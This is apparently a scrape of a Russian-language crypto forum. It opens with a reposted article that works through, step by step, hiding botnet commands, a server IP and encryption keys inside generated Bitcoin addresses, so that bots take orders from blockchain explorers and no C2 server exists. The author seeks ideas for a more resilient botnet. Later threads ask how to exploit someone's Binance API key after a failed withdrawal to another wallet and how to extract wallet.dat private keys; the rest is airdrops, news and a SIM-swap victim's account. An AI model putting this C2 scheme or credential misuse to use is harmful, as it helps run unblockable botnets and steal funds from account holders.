1. С доверенного адреса А проводится перевод определенной суммы на сгенерированный валидный адрес B.

Пример генерации адреса B: необходимо отправить для ЭБС информацию о сервере 82.192.95.175, с которого возможно получить команду на обновление с сервера модуля #68, время активации / деактивации модуля, а также ключ шифрования (или адрес дополнительного блокчейн-обозревателя, команду на выполнение не позднее передаваемой даты, новый доверенный криптоадрес, ключ и т.д. и т.п. (ключ возможно зашить в ПА и передавать только при необходимости его смены, тем самым сохранив 7 байт поля команд)).

IP возможно преобразовать сотней способов, например 082.192.095.175 > 08.21.92.09.51.75 + 32 к каждому числу (избегаем нечитаемых символов ASCII).

Итого 40.53.124.41.83.107 = (5|)Sk представляем в ASCII (6 байт);
Команда 68 = D;

Время активации модуля – 601234 = в Unix time, где старший разряд 1 избыточен, передавать его не будем (он по умолчанию, т.к. изменение на 2 будет только в 2033 году), младшие три разряда также по умолчанию 000, т.к. особого значения не имеют, это +- 15 минут.

Время активации – 1601234000 = 27 сентября 2019 г. 19.13.20 GMT

Далее четыре цифры, до какого времени выполнять работу модуля – 0365 (дней) от времени активации.

То есть 6012340365 = 01665D088Dh = AAHpKn в ASCII. Также допустим, что прошлый ключ был Key0001.

Итого (5|)SkDAAHpKnKey0002 с использованием RC4 и ключом Key0001 дает в hex: DD F6 B8 16 2A B6 71 97 0F 9F A2 68 79 11 8C B6 31 DA FE 43.

Эту строку преобразуем hashtoaddress в legacy btc-адрес (можно в адреса других криптовалют dash, ltc, dogecoin и т.д., это не принципиально, алгоритмы формирования криптоадресов открыты, перевод будет дешевле и быстрее).

Получаем адрес B (legacy) – 1MEdtjmGtqaGPaoYAQn43dkZxiSrSD8gmD.
(напомню, что в нем спереди добавлен один «1» — байт-признак, в конце – контрольные 4 байта).

Этот ресурс дает возможность воочию увидеть пошаговый процесс преобразования (вставляем DDF6… в строку 3 (RIPEMD-160 Hash of 2)).

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fay%2Fgr%2F-t%2Faygr- tgwwogg2xmwx6wxme4btlg.jpeg&hash=5d93c26b46fc6f6f675bd53edf11d76d)

Однако, чтобы не выделяться из множества адресов уже ставшего стандартным segwit-формата, представим нашу строку как (смотрите здесь).

Адрес B (segwit) – bc1qmhmts932kecewrul5f58jyvvkcca4ljrrgmpcd

2. На данный адрес с доверенного A отправляем перевод в несколько сотен/тысяч сатоши. Сумма перевода также может нести информацию (например, доппроверку по согласованному признаку, командный символ на безусловное уничтожение/временное прекращение работы ботсети без необходимости чтения передаваемой в адресе команды и т.п.).
Отдельно обращу внимание, что при отправке надо учитывать, что адрес для сдачи должен быть тем же, что и адрес отправки, либо записывать ЭБС адрес для сдачи, как новый доверенный.
Транзакция подтверждается в среднем несколько минут (при условии оплаты достаточной суммы комиссии, плавающей в зависимости от нагрузки сети).

Стоимость перевода суммы в 1 тыс. сатоши составит 7 руб. (плюс комиссия 2-3 руб.). Повторюсь, что с другими криптовалютами это может быть быстрее и дешевле в десятки/сотни раз.

3. Со стороны ЭБС происходит периодичный опрос блокчейн-обозревателей (по API) из имеющегося списка (обозреватели представлены в широком ассортименте) о переводе с А.
При выявлении факта отправки новой транзакции с А (и ее подтверждении) информация, содержащаяся в адресе-получателе, на который был проведен перевод, дешифруется (декодируется) полученным ключом и принимается к исполнению.

Допустим, что доверенный адрес — bc1qsj0gm0r2c3hzq9yzfewl34yk2r760hy5za4x3q (segwit-формат).
По этому адресу последняя исходящая транзакция (прим. — уже не последняя, а эта) проходила на два адреса — bc1qmhmts932kecewrul5f58jyvvkcca4ljrrgmpcd и сдачи, аналогичному адресу отправки.
Перечисленная сумма – 666 сатоши – решим, что это условная команда на выполнение декодирования.

Декодируем наш адрес обратно в DDF6….
Преобразуем к виду (5|)SkD34,,+!Key0002 и дешифруем ключом Key0001 (ключ меняется на Key0002).

Скачиваем модуль с сервера (доступ на сервер может быть реализован с использованием того же ключа) и ожидаем даты запуска модуля.

Отмечу, что необходимо использовать как минимум несколько обозревателей (могут отключаться или ограничивать запросы из некоторых стран, как например bitflyer.jp, ограничивающий с российского и пускающий с японского IP).

Полученную информацию возможно проверять как минимум еще на одном/двух. Выбор обозревателей велик, только в типовом списке Electrum присутствует более десятка – blockchair.com, smartbit.com.au, bitupper.com, chain.so и мн. др.

Обратите внимание, что не все обозреватели поддерживают segwit-формат. Поэтому надо выбрать золотую середину, пользоваться доверенным адресом старого или нового форматов.

Пример отправки с доверенного адреса в старом формате 186A8D7vdAHpFWdSAFHzZGfi44pPcwtZNc на сгенерированный legacy-адрес в raw

и segwit- адрес

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fzc%2F-o%2Fqz%2Fzc- oqziyq_8e0mjeuz_8rwujenk.jpeg&hash=21632270429467eb8b7764912e819519)

Применением различных блокчейн-обозревателей подчеркиваю их разнообразие.
Напомню, что скрытое сообщение в адресе из транзакции подделать, чтобы она была подтверждена, невозможно по определению.

Плюсы алгоритма

  1. С2-сервер отсутствует, обращения идут к блокчейн-обозревателям.
  2. Команды для ЭБС являются безусловно доверенными.
  3. Средой передачи команд является блокчейн, что не позволяет заблокировать отправку/передачу команд.
  4. Блокчейн — крайне устойчивая система (это не касается волатильности криптовалют).
  5. Низкая стоимость обеспечения работы.
  6. Несложная реализация алгоритма (открытые исходные данные и код).
  7. Нет необходимости генерировать транзакции или скачивать блокчейн.

Особенности алгоритма

  1. Симплексная связь.
  2. Зависимость от стабильности функционирования обозревателей.
  3. Определенные (хоть и минимальные) финансовые затраты.

Полагаю, некоторые приведенные здесь моменты полезно учесть специалистам по ИБ.

Интересно было бы для повышения устойчивости бот-сети, кроме обозревателей, привлекать возможности полных нод или нод популярных кошельков типа электрума, а также организовать дуплексную связь за счет генерации необходимых транзакций на стороне ЭБС. Буду признателен мыслям на этот счет, а также обоснованной критике и предложениям.

автор: @ubongo
взято с хабра

Биткойн будет расти?
ID: 67686ad7b4103b69df379aa3
Thread ID: 29583
Created: 2019-05-31T11:25:29+0000
Last Post: 2019-08-16T21:41:08+0000
Author: lukas
Replies: 1 Views: 2K

Что будет дальше, криптопосоны? Так удачно зашли на 9к и потом также удачно ударились вниз по 7950 за считанные часы
все, кино закончилось, идем вниз? или таки есть шансы и биткоин будет расти?

как узнать криптовалюту по контенту wallet.dat
ID: 67686ad7b4103b69df379aa5
Thread ID: 30781
Created: 2019-08-01T18:33:52+0000
Last Post: 2019-08-02T13:09:20+0000
Author: Whisper
Replies: 2 Views: 2K

Подскажите как узнать криптовалюту по контенту wallet.dat.
Знаю как делать экстрацию приватных ключей, но они там хранятся без версии по которой можно было бы определять криптовалюту(только 32 байта тела ключа и подсказка что ключ должен завершатся 01(compressed признак)).

localbitcoins блокировка аккаунта [ru]
ID: 67686ad7b4103b69df379aa6
Thread ID: 30727
Created: 2019-07-30T08:20:50+0000
Last Post: 2019-07-30T08:20:50+0000
Author: raiseonce
Replies: 0 Views: 2K

Столкнулся с блокировкой на обменнике, написал сапорту. Они ответили чтобы я предоставил персональную информацию, затем попросили подтверждения происхождения средств. Далее скрины с других обменников с торговлей btc. На данный момент после предоставления мною всех данных они молчат уже месяц.

Сталкивались ли вы с блокировкой вашей уч.записи в данном обменнике?
На сколько долго они вам отвечали?
Если вы разобрались с разблокировкой напишите пож-ста о вашем опыте здесь.

Binance Key/Secret помощь
ID: 67686ad7b4103b69df379aa9
Thread ID: 29786
Created: 2019-06-14T11:24:45+0000
Last Post: 2019-06-15T12:58:04+0000
Author: dokusib
Replies: 7 Views: 2K

Привет всем. Нужна помощь.
Имеется API Key и Secret сайта binance.
Что можно сделать с этим.
P.S. пробовал переводить деньги на левый кошелек , но там ошибку выдает - нет прав на перевод. Но повесить ордер или отменить удается

Виталик Бутерин: Binance - сомнителен, а Bitcoin SV- скам
ID: 67686ad7b4103b69df379aad
Thread ID: 29673
Created: 2019-06-05T18:12:56+0000
Last Post: 2019-06-05T18:12:56+0000
Author: tabac
Replies: 0 Views: 2K

Виталик Бутерин: Binance и Bitcoin SV — сомнительные игроки на криптовалютном рынке

Новое интервью Виталика Бутерина вышло погромным. На этот раз под критику создателя Ethereum попала валюта Bitcoin SV, которую он назвал мошенническим проектом, созданным для наживы на наивных инвесторах. Помимо этого, Бутерин раскритиковал биржу Binance, указав на централизованность платформы, медленную обработку транзакций и высокую комиссию за листинг.

«Создатели форка Bitcoin Cash не собирались создавать удобный финансовый инструмент для своей сети, они просто хотели заработать немного денег на инвесторах», — заявил Бутерин.

Click to expand...

«Binance сильно централизована. Мы многократно говорили о том, что будущее блокчейна заключается именно в децентрализации, а Binance и аналогичные площадки не дают ему наступить», — подчеркнул он.

Click to expand...

"Как я потерял более 100k$". Статья о взломе аккаунта в Coinbase.
ID: 67686ad7b4103b69df379aae
Thread ID: 29531
Created: 2019-05-27T15:53:50+0000
Last Post: 2019-05-27T15:53:50+0000
Author: tabac
Replies: 0 Views: 2K

" Как я потерял более 100k$". Статья о взломе аккаунта в Coinbase.

Представляю вашему вниманию перевод статьи [«The Most Expensive Lesson Of My Life: Details of SIM port hack»](https://medium.com/coinmonks/the-most- expensive-lesson-of-my-life-details-of-sim-port-hack-35de11517124) автора Sean Coonce.

В прошлую среду я потерял более 100000 долларов. Деньги испарились в течение 24 часов в результате «атаки на порт SIM-карты», которая вычистила мой счёт на Coinbase. С тех пор прошло четыре дня, и я опустошён. У меня нет аппетита; я не могу заснуть; я наполнен чувствами тревоги, совести и стыда.

Это был самый дорогой урок в моей жизни, и я хочу поделиться опытом и усвоенными уроками с как можно бо́льшим количеством людей. Моя цель — повысить осведомлённость людей о таких типах атак и мотивировать вас усилить безопасность вашей онлайн-личности.

Это всё ещё очень сыро (я до сих пор не рассказал об этом своей семье); пожалуйста, оставьте при себе осуждение наивных практик безопасности, рассказанных в этом посте.

Подробности атаки

Вы можете спросить: «А что это вообще за атака на порт SIM-карты?» Чтобы описать атаку, давайте для начала рассмотрим типичную онлайн-личность. Диаграмма ниже должна быть знакома большинству из вас.

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fhq%2Fov%2Fse%2Fhqovseodawkcbwxkmipyv- wgs1o.png&hash=49b72a6d1ed89ae510a2c1602fe816e9)

У многих из нас есть основной email-адрес, который соединён с ОГРОМНЫМ количеством других онлайн-аккаунтов. У многих из нас также есть мобильное устройство, которое может быть использовано для восстановления забытого пароля от email.

Авторизированный порт SIM-карты

Одна из услуг, которую предлагают операторы связи клиентам — возможность портировать SIM-карту на другое устройство. Это позволяет клиента запросить перенос их номера телефона на новое устройство. В большинстве случаев это абсолютно законный процесс; это происходит, когда мы покупаем новый телефон, меняем оператора и т. д.

Атака на порт SIM-карты

Однако, «атака на порт SIM-карты» — это вредоносный порт, произведённый из неавторизированного источника — атакующим. Атакующий портирует вашу SIM-карту на подконтрольный ему телефон. Затем атакующий начинает процесс сброса пароля на email-аккаунте. Код подтверждения отправляется на ваш номер телефона и перехватывается атакующим, так как он теперь контролирует вашу SIM-карту. Диаграмма ниже показывает атаку пошагово.

Как только атакующий получает доступ к вашему email-адресу, они начинают переходить от сервиса к сервису, где вы используете этот email-адрес (банки, социальные сети и т. д.) Если атакующий особенно вредный, он может закрыть вам доступ к вашим собственным аккаунтам и запросить плату на возвращение доступа.

Давайте отвлечёмся на минуту и подумаем о том объёме личной информации, привязанной к одному аккаунту Google:

Последовательность событий

Чтобы лучше понять, как происходит атака и увидеть её размах, давайте окунёмся во временной график непосредственно этой атаки. Я хочу показать, как атака производилось, что я испытывал в это время и что вы можете сделать, чтобы защитить себя в случае появления подобных симптомов.

Временной график поделен на четыре части:

Усвоенный урок и рекомендации

Это был самый дорогой урок в моей жизни. Я потерял значимую долю своего капитала за 24 часа; безвозвратно. Вот несколько советов, которые должны помочь другим лучше защитить себя:

Источник: habr
перевод Никита Карамов @NickKaramoff

TON - Blockchain TESTNET
ID: 67686ad7b4103b69df379aaf
Thread ID: 29508
Created: 2019-05-25T19:11:11+0000
Last Post: 2019-05-25T19:11:11+0000
Author: NyanCat
Replies: 0 Views: 2K

RU

EN

Короче, якобы блокчейн телеги от Пашки-Дурашкина, фэк али нэт узнаем позже :D Source

TTC PROTOCOL - Аирдроп
ID: 67686ad7b4103b69df379ab0
Thread ID: 29485
Created: 2019-05-24T12:51:37+0000
Last Post: 2019-05-24T12:51:37+0000
Author: Tes73r
Replies: 0 Views: 2K

Всем доброго времени суток! В этом аирдропе можно получить до 30 TTC за игру (дальше поймете о чем я).

Раздаю 20,000,000 TTC с 20.05 по 20.6 этого года.
Цена за один токен — 0,075 USD
Мелоч, но за то на халяву.

И так приступим!
1. Достаем свой телефон и переходим по ссылке, качаем и устанавливаем https://wallet.ttc.eco/?source=0#/
2. После установки кликаем на «Create Wallet», придумываем пароль для входа, после записываем 12 слов для восстановления кошелья в случае потери.
3. Заходим в раздел DAAPs (значок из 3 шестиугольников, второй справа на нижней панели)
4. Кликаем на «Lucky Box», далее вводим промокод: VBAN (без него не получите бесплатную прокрутку).
И кликаем на призовые коробки в течении 30 секунд.
5. После берем нашу реф. ссылку и идем на буксы чтобы больше заработать.

Токены будут зачислены на кошелек этого приложения каждые 15 дней с начала раздачи (20.05).

Аирдроп TTC Protocol
ID: 67686ad7b4103b69df379ab1
Thread ID: 29463
Created: 2019-05-22T18:14:29+0000
Last Post: 2019-05-22T18:14:29+0000
Author: Damnant
Replies: 0 Views: 2K

Недавно начался дроп от TTC Protocol, в их кошельке можно поиграть в игру, где нужно ловить подарки и получить до 30 монет TTC, а это около 2.5 долларов. Дроп продлиться до 20 июня.
Приступим:

1. Скачиваем приложение в playmarket: https://play.google.com/store/apps/details?id=com.ttc.wallet

2. Создаем кошелёк, придумываем код из 6 цифр, записываем свою фразу из 12 слов, а потом пишем слова из списка, которые вас попросят.

3. Теперь нажимаем на значок трёх пятиугольников, далее на баннер с надписью «Lucky Box».

4. Вам вылезет окно, туда можете ввести этот код — V76G (Вводить его не призываю, можете использовать любой другой код). Без кода не дадут сыграть в одну игру. В игре нужно просто ловить подарки и коробки, но опасаться бомб.

Затем можете просто приглашать друзей или ставить задания на буксы и за каждого человека вы получите одну игру.

После игры коины не сразу летят на счет, а остаются в задержке на 15 дней.

Цена коина: [https://coinmarketcap.com/ru/currencies/ttc- protocol/](https://href.li/?https://coinmarketcap.com/ru/currencies/ttc- protocol/)

Тема не авторская)

Выплата за верификацию 100 WRX (30$)
ID: 67686ad7b4103b69df379ab2
Thread ID: 29324
Created: 2019-05-15T07:05:14+0000
Last Post: 2019-05-22T10:48:16+0000
Author: tommypvl
Replies: 1 Views: 2K

Индия – страна, где криптовалюта с опозданием начала набирать популярность, а активы растут со всеми вытекающими.
Crowdrife запускает свежатину, и засыпают своих новобранцев монетами. (ДО 20.05.19)
За каждого приглашенного друга + верификация, они начисляют - 100 монет (30$)

  1. Проходим по wazirx.com
    и начинаем процесс регистрации

  2. Ставим защиту "Google Authenticate"/либо по номеру телефона!!

  3. Выбираем страну и клацаем на Complete KYC

  4. Заполняем свои данные

  5. Выбираем документ для верификации. (Загран/Внутренний)!
    Для ввода данных паспорта надо 3 пикчи. 1-внутренняя часть паспорта; 2-обложка паспорта; 3-селфи с внутренней частью паспорта.

  6. Заливаем на прокрут 2$, покупаем кефира (Условия начисления) и ждем одобрения верификации, у меня заняло 40 мин

  7. Финишируем с регистрацией, ломаем Жору и активно продвигаем свою рефку.

С выводом либо обменом думаю объяснять не надо
Нужна будет помощь - маячь в личку

Будущее биткоина: кто или что может убить биткоин?
ID: 67686ad7b4103b69df379ab4
Thread ID: 28185
Created: 2019-03-08T06:38:28+0000
Last Post: 2019-05-22T07:35:37+0000
Author: Dendi
Replies: 2 Views: 2K

Будущее биткоина: кто или что может убить биткоин?

За последние несколько лет биткоин пережил огромное количество атак и внешней критики, в результате чего получил репутацию "антихрупкого" (antifragility). Этот термин был придуман экономистом Нассимом Талебом и описывает явление, когда что-либо становится популярным в неблагоприятных для этого условиях.

«Нередки случаи, когда критика и встряски лишь помогают процветать. Подвергаясь агрессии и различным стрессовым факторам, та или иная вещь становится лишь популярнее. То есть можно с уверенностью сказать, что чаще всего антихрупкость ему только на руку», - говорит Нассим Талеб.

С этой точки зрения, вероятно, для того, чтобы убить биткоин, нужно просто перестать его критиковать. Однако в мире постоянно конкурирующих валют и драгоценных металлов это маловероятно.

Нападки на биткоин: прошлое, настоящее и будущее

Несколько месяцев назад пользователь сети Reddit под ником themetalfriend составил список всех нападок на биткоин, ознакомиться с которым вы можете в источнике.

По его мнению: существуют три самых распространенных типов нападок на биткоин:

Из всего вышесказанного следует, что все три вида атак взаимосвязаны. По крайней мере, они ведут к одному и тому же результату. Рассмотрим каждый их них подробнее.

8 способов убить биткоин путем замедления его распространения
Законодательные атаки

Накладывая запреты на биткоин, государство доставляет неудобства лишь владельцам криптовалюты. Биткоин запрещали во многих небольших государствах, в частности в Эквадоре, Афганистане, Марокко, Бангладеше, Вьетнаме и Боливии, но запреты не принесли никаких результатов. В то же время, в крупных государствах, таких как США и страны Евросоюза, запрещать криптовалюту даже не планируют.

Вероятно, что в России когда-нибудь криптовалюту все же запретят. Здесь ее юридический статус под большим вопросом. В Китае и Южной Корее даже банальные слухи о возможном запрете биткоина тут же отражаются на его курсе. Но даже несмотря на всеобщие опасения, биткоин продолжает существовать.

![Как убить биткоин](/proxy.php?image=https%3A%2F%2Fprostocoin.com%2Fassets%2Fimages%2Fkill- bitcoin5.png&hash=b54fda7992a655ba45a319e2c5093593)

Попытки запретить биткоин

Несмотря на то, что многие государства всячески пытаются запретить криптовалюту, остановить взаимодействие граждан с сетью они просто не смогут. Сегодня сервис Blockstream satellites передает данные блокчейн в Африке, Северной и Южной Африке, а также в Западной Европе. В скором времени сервис планирует охватить весь мир, поэтому весьма приемлемая установка спутника даст возможность подключиться к блокчейну без выхода в Интернет.

Что касается транзакций, то существует несколько способов отправки криптовалюты, среди которых анонимный браузер Tor, VPN, SMS-сообщение, зашифрованное письмо или текстовое сообщение и даже стенография.

Таким образом, запрещать биткоин просто бесполезно, так как его код будет переписываться быстрее, чем будет готов очередной запрет на его использование. Даже грамотно скоординированная правовая атака со стороны ООН и ВТО, вероятно, приведет к тому, что биткоин «уйдет» в подполье и будет развиваться конфиденциально. Велика вероятность того, что биткоин станет предметом контрабанды, как это произошло с наркотиками.

Если говорить о преследовании тех, кто занимается майнингом и владеет внушительным капиталом в криптовалюте, то это уже случилось. В качестве примера приведем случаи с задержанием Росса Ульбрихта, которого обвинили в агитации анонимной интернет-площадки «Шелковый путь», и Чарли Шрема, которого лишили свободы за денежное посредничество. Несмотря на эти события, черные рынки продолжали набирать обороты, поэтому можно сделать вывод, что никакие, даже самые суровые наказания и запреты, не останавливают пользователей, а лишь подогревают их интерес к криптовалюте.

Кибервойны

Кибервойны представляют собой хакерство и различного рода незаконные манипуляции в социальных сетях. Биткоин же, несмотря на многоразовые попытки взлома, показал свою прекрасную устойчивость к хакерским атакам. Эта криптовалюта – поистине крепкий орешек, и такому высокому уровню защиты она обязана своей системе Proof-of-Work.

Если даже хакерам удастся изменить код биткоина, то сеть немедленно отклонит такие транзакции. Чем более независимы узлы в сети, тем менее вероятны атаки. На данный момент зафиксировано более 12 000 подобных атак.

Следует отметить, что владельцы криптовалюты и различные сервисы по ее обслуживанию подвергаются атакам гораздо больше, чем сама криптовалюта. Более того, они более уязвимы.

Атаки, не дающие биткоину распространяться

На протяжении нескольких лет крупные биткоин биржи, такие как Mt.Gox и Bitfinex, многократно подвергались хакерским атакам, в результате чего было похищено более 1 000 000 биткоинов. Подобные взломы, безусловно, препятствуют распространению биткоина, а владельцы, которые пострадали от этих атак и потеряли свои деньги, перестанут им пользоваться.

Средства массовой информации нередко преувеличивают масштабы ущерба взломов, порождая тем самым еще больше сомнений и страха, не учитывая при этом тот факт, что взлом компаний, которые обслуживают биткоин, и взлом самого биткоина — это разные вещи. В результате, такие сообщения о взломах порождают неоправданные сомнения касаемо безопасности биткоина.

Нападки со стороны государства

Из-за борьбы с отмыванием денег давление государства на криптовалюту только усиливается, что зачастую приводит к краже персональных ключей и деанонимизации пользователей. Власти диктуют свои правила и требуют, чтобы биржи и обменники криптовалюты предоставили персональные данные пользователей. Сложно сказать, будут ли они когда-либо вообще обнародованы, так как следует учесть тот факт, что, так или иначе, но анонимная торговля имеет место быть.

Выдавая свои данные, пользователи подвергают себя большому риску. Если сервис по обслуживанию криптовалюты будет скомпрометирован, то может произойти утечка данных. Помимо этого, на сервис может совершиться крупная атака (как онлайн, так и оффлайн). Не исключено, что в скором времени данными пользователей заинтересуются налоговые органы, как это произошло с Coinbase.

PR-атаки

Биткоин у многих ассоциируется с криминалом. Популярные СМИ и даже политики нередко подшучивают над данной теорией. Но мало кто понимает, что золото гораздо чаще фигурирует в преступлениях. Более того, нет никаких адекватных доказательств того, что биткоин действительно участвует в противозаконных действиях.

Финансовые атаки

Когда в Венесуэле появилась криптовалюта Petro, она не стала такой популярной. Все потому, что у государства не было ресурсов на ее развитие. Если более развитая и мощная страна пойдет по тому же пути, создаст свою криптовалюту и всячески будет заниматься ее пропагандой, то, вероятнее всего, результат будет совершенном иным. Не исключено, что такой коин превысит долю рынка биткоина.

Использование похожих названий

Что касается похожих названий, то это делается для того, чтобы запутать пользователей. Яркий тому пример Bitcoin Cash. Такую попытку пропиариться за счет известного бренда можно смело назвать атакой. Как правило, такая атака отличается неплохим финансированием и включает в себя следующие составляющие:

Несмотря на то, что многие новички все же были обмануты злобным двойником биткоина, хочется надеяться на то, что технические и экономические достоинства Bitcoin станут настолько очевидны, что в скором времени обвести вокруг пальца не получится даже тех, кто никогда ранее не имел дела с криптовалютами.

(Писал статью не я, Я её предоставил для ознакомления!)

Ученые предложили новый тип виртуальных денег «S-money»
ID: 67686ad7b4103b69df379ab5
Thread ID: 29212
Created: 2019-05-10T13:13:13+0000
Last Post: 2019-05-22T07:34:55+0000
Author: MOKING
Replies: 4 Views: 2K

Британские ученые предложили новый тип виртуальных денег, которые отличаются повышенной безопасностью. Технология S-money позволяет защитить финансы от атак со стороны квантовых компьютеров.

Теоретическая основа, получившая название «S-money», обеспечивает абсолютно не поддающуюся обработке аутентификацию, а также предоставляет более быстрые и гибкие ответы, чем любая существующая финансовая технология. Фактически это делает возможным ведение торговли в пределах Солнечной системы без длительных задержек. Однако исследователи планируют начать тестирование практичности S-money в земном масштабе уже в конце этого года. Ученые из Кембриджского университета отмечают, что деньги в новом понятии можно рассматривать как то, что добирается до определенной точки в пространстве и времени в ответ на данные из множества других точек.

Разработанная среда состоит из безопасных виртуальных токенов, генерируемых при обмене данными между различными точками финансовой сети, которые гибко реагируют на изменения в реальном времени по всему миру. Это позволяет пользователям фиксировать события быстрее, чем при привычном финансовом обмене. Токены могут быть безопасно обменены без задержек для перекрестной проверки или проверки по сети, исключая при этом риск двойной торговли. Конфиденциальность пользователя поддерживается с помощью таких протоколов, как фиксация битов, которая является математической версией защищенного запечатанного конверта. Негативной стороной использования является то, что квантовые деньги потребуют длительного хранения, в результате чего будет задействовано огромное количество ресурсов.

[Паскаль Анна 8-05-2019 ](https://dni24.com/exclusive/220350-uchenye- predlozhili-novyy-tip-virtualnyh-deneg-s-money.html)​

Анонимность крипто-кошельков
ID: 67686ad7b4103b69df379ab6
Thread ID: 28031
Created: 2019-02-25T14:05:56+0000
Last Post: 2019-05-21T21:16:22+0000
Author: atrey
Replies: 4 Views: 2K

Всем привет :)
Не давно задумался о анонимности крипто-кошельков...
Что предпочитаете вы ? телефоный кошелёк веб кошелёк или хардвер кшелёк?
Я лично предпочитаю деск кошелёк

Число Bitcoin транзакций приблизилось к годовому максимуму
ID: 67686ad7b4103b69df379ab7
Thread ID: 27266
Created: 2019-01-12T17:17:40+0000
Last Post: 2019-05-21T18:44:44+0000
Author: lukas
Replies: 1 Views: 2K

Пока криптовалютные скептики радуются затянувшемуся нисходящему тренду и заявляют, что новый класс цифровых активов умирает, информационный портал [The Block](https://www.theblockcrypto.com/tiny/number-of-daily-bitcoin- transactions-reaches-1-year-high/) сообщает, что среднедневное число транзакций в сети Биткоина за последнюю неделю приблизилось к годовому максимуму – с января прошлого года впервые была преодолена отметка в 280 000.

В апреле 2018 года данный показатель достиг абсолютного минимума за двухлетний период, после чего начал постоянно расти, даже несмотря на стабильное снижение котировок первой криптовалюты. Исторический максимум по числу транзакций в сети Биткоина был зафиксирован в конце декабря 2017 года – тогда показатель составил чуть больше 400 000.

Как пишет [Forbes](https://www.forbes.com/sites/ktorpey/2019/01/09/a-new- blockchain-project-is-generating-20-of-daily-bitcoin- transactions/#2531881e6129), разработчики блокчейна заметили странную активность в сети Биткоина. Выросло количество транзакций типа “OP_RETURN”, которые используются для фиксации данных в блокчейне. Транзакции связаны с деятельностью проекта VeriBlock, который с помощью блокчейна Биткоина защищает сеть альтернативных криптовалютных активов. Как сообщил разработчик Биткоина Джеймсон Лопп (Jameson Lopp), на данный момент проект осуществляет 20% от общего числа транзакций. Эту информацию также подтверждает собственный обозреватель блокчейна VeriBlock.

Идея VeriBlock заключается в том, чтобы защитить сети альткоинов от изменения истории транзакций с помощью закрепления данных в блокчейне Биткоина. Это особенно актуально в последнее время, поскольку из-за длительного медвежьего тренда майнинг становится не выгодным, так что некоторые участники индустрии отключают свои устройства и общий хешрейт снижается. Это на руку злоумышленникам, которые могут воспользоваться данной ситуацией с целью осуществления атаки 51%. Например, недавно китайская компания SlowMist [предупредила](https://bits.media/set-ethereum-classic-mogla-bit-gjdvergnuta- atake-51/), что сеть Ethereum Classic могла быть подвергнута данной атаке.

Ранее основатель Эфириума Виталик Бутерин сообщал, что не решился использовать блокчейн Биткоина для создания собственного продукта из-за ограниченных возможностей по хранению данных в нем. Другие представители криптовалютного сообщества отметили, что деятельность VeriBlock имеет негативный эффект, поскольку блокчейн первой криптовалюты «засоряется» лишней информацией, что может привести к различным нежелательным последствиям.

Вопрос по пулам и блокам
ID: 67686ad7b4103b69df379ab9
Thread ID: 29043
Created: 2019-04-30T12:47:57+0000
Last Post: 2019-04-30T12:47:57+0000
Author: look2009
Replies: 0 Views: 2K

Собственно вопрос в зоголовке.
Интересно у пулов есть возможность решения блоков не сразу выкидывать в сеть блокчейн, т.е. разгонят и тормозить блокчейн по желанию?

В Израиле арестован похититель Dash на сумму $9 млн
ID: 67686ad7b4103b69df379abb
Thread ID: 28957
Created: 2019-04-23T10:22:34+0000
Last Post: 2019-04-23T19:14:39+0000
Author: pablo
Replies: 3 Views: 2K

Власти Израиля обвинили гражданина по имени Афек Зард (Afek Zard) в краже Dash на сумму более $9 млн. Проживающий в Эйлате 25-летний гражданин Израиля обвинен в краже криптовалюты Dash на сумму более 22 миллионов шекелей. Обвинительное заключение представила прокуратура Южного округа Израиля.

Сообщается, что Зард украл 75 тысяч DASH, что составляет 0.85% от всего выпущенного количества монет. На момент кражи одна монета Dash стоила 82,5 доллара на бирже криптовалютных операций. Они были украдены у инвестора Алексея Яроменко, который копил их с 2013 года.

«Государственная прокуратура утверждает, что в начале прошлого месяца Зард сам или с помощью других людей получил доступ к компьютеру инвестора и украл данные кошелька и пароль. В то же время он создал четыре адреса своих кошельков», — рассказало местное издание.

«Он получил доступ к кошельку Яроменко, украл все его содержимое, а затем провел монеты между несколькими адресами, чтобы скрыть следы. Государство приписывает ему кражу при отягчающих обстоятельствах, отмывание денег и проникновение в компьютер для совершения правонарушения», — отметили в прокуратуре. Обвиняемый подозревается в том, что использовал предоставленные истцом сведения о хранящейся в электронном кошельке криптовалюте и информации о функционировании рынка криптовалют. В обвинительном заключении утверждается, что ответчик перевел монеты на счета четырех электронных кошельков для того, чтобы избежать обнаружения.

Пострадавший работает в области криптовалютного бизнеса. Как следует из обвинительного заключения, между пострадавшим и подозреваемым были дружеские отношения.

Atomic Wallet Airdrop
ID: 67686ad7b4103b69df379abc
Thread ID: 28924
Created: 2019-04-21T14:55:15+0000
Last Post: 2019-04-21T14:55:15+0000
Author: Tikhirro
Replies: 0 Views: 2K

ATOMIC — 350 рублей за регистрацию кошелька. (читать до конца)

Atomic Swap Wallet — полноценный мультивалютный кошелек, с автономным обменам криптовалют. Поддержка ERC-20 присутствует.

Click to expand...

Раздают 25 AWC (примерно 350 рублей) за установку и создание кошелька.

Click to expand...

Как будем зарабатывать?:
1.Переходим на сайт для загрузки приложения — atomicwallet.io/downloads (вы можете скачать это приложение на телефон в Google Play или App Store. Порядок действий такой же, пример привожу на компьютерной версии)

2.Выбираем нужную платформу и скачиваем, далее устанавливаем приложение.
Попадаем вот в такое окно и кликаем на «NEW WALLET».

3.Придумываем пароль и подтверждаем его.
4. Далее у вас появится окно с секретным ключем (набор английских слов), сохраните его в любое удобное для вас место, он понадобится в будущем для авторизации.
5. Кликаем на «Start Using Atomic»

6. Попав в главное окно кликаем на «Settings».

7.Вводим вашу почту (mail.ru лучше не юзать, часто не приходит подтверждение!! Юзайте Gmail.com)
И вводим промокод — YEK79 (за него нам и начислят 25 токенов)
8. Кликаем на Sign-up и подтверждаем аккаунт перейдя по ссылке в письме.

Все, готово, теперь ждем зачисления.
Токены начисляются на ваш созданный кошелек. Выплачиваются до 15-го числа следующего месяца. (т.е. если вы участвовали в апреле, ваша награда будет выплачена до 15 мая). Проект хороший и уже торгуется на бирже!

По поводу рефов — 350р за каждого, полетели, работяги :)

CoinMarketCap выпустил приложение для Android
ID: 67686ad7b4103b69df379abd
Thread ID: 28839
Created: 2019-04-16T15:35:38+0000
Last Post: 2019-04-16T15:35:38+0000
Author: Vendett@
Replies: 0 Views: 2K

Популярный аналитический сервис CoinMarketCap выпустил первое приложение для OC Android, а также представил обновленную версию для iOS.

Переглянути зображення у Твіттері

https://twitter.com/CoinMarketCap
https://twitter.com/CoinMarketCap/status/1118120192545046528

